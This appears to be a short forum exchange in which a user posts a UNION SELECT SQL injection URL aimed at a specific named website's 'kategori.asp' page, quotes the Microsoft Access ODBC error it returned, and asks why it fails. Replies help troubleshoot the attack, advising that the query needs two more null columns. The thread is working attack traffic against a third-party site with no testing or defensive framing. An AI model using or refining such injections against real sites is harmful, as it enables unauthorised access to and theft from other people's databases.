Undefined function 'concat' in expression. SQL INJECTION

http://www.programmoer.dk/kategori.asp?page=2&id=1%20UNION%20ALL%20SELECT%20null,null,concat(Overskrift,Beskrivelse),null,null%20FROM%20annoncer

Got: Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC Microsoft Access Driver] Undefined function 'concat' in expression.

/kategori.asp, line 6

Why can´t i do this?

because the database cannot.. it has been disabled.

you also have the wrong amount of null's, you need two more.

this sql does not look promising, i had a quick play with it and it doesn't seem to do anything except say it cannot do something… no errors just that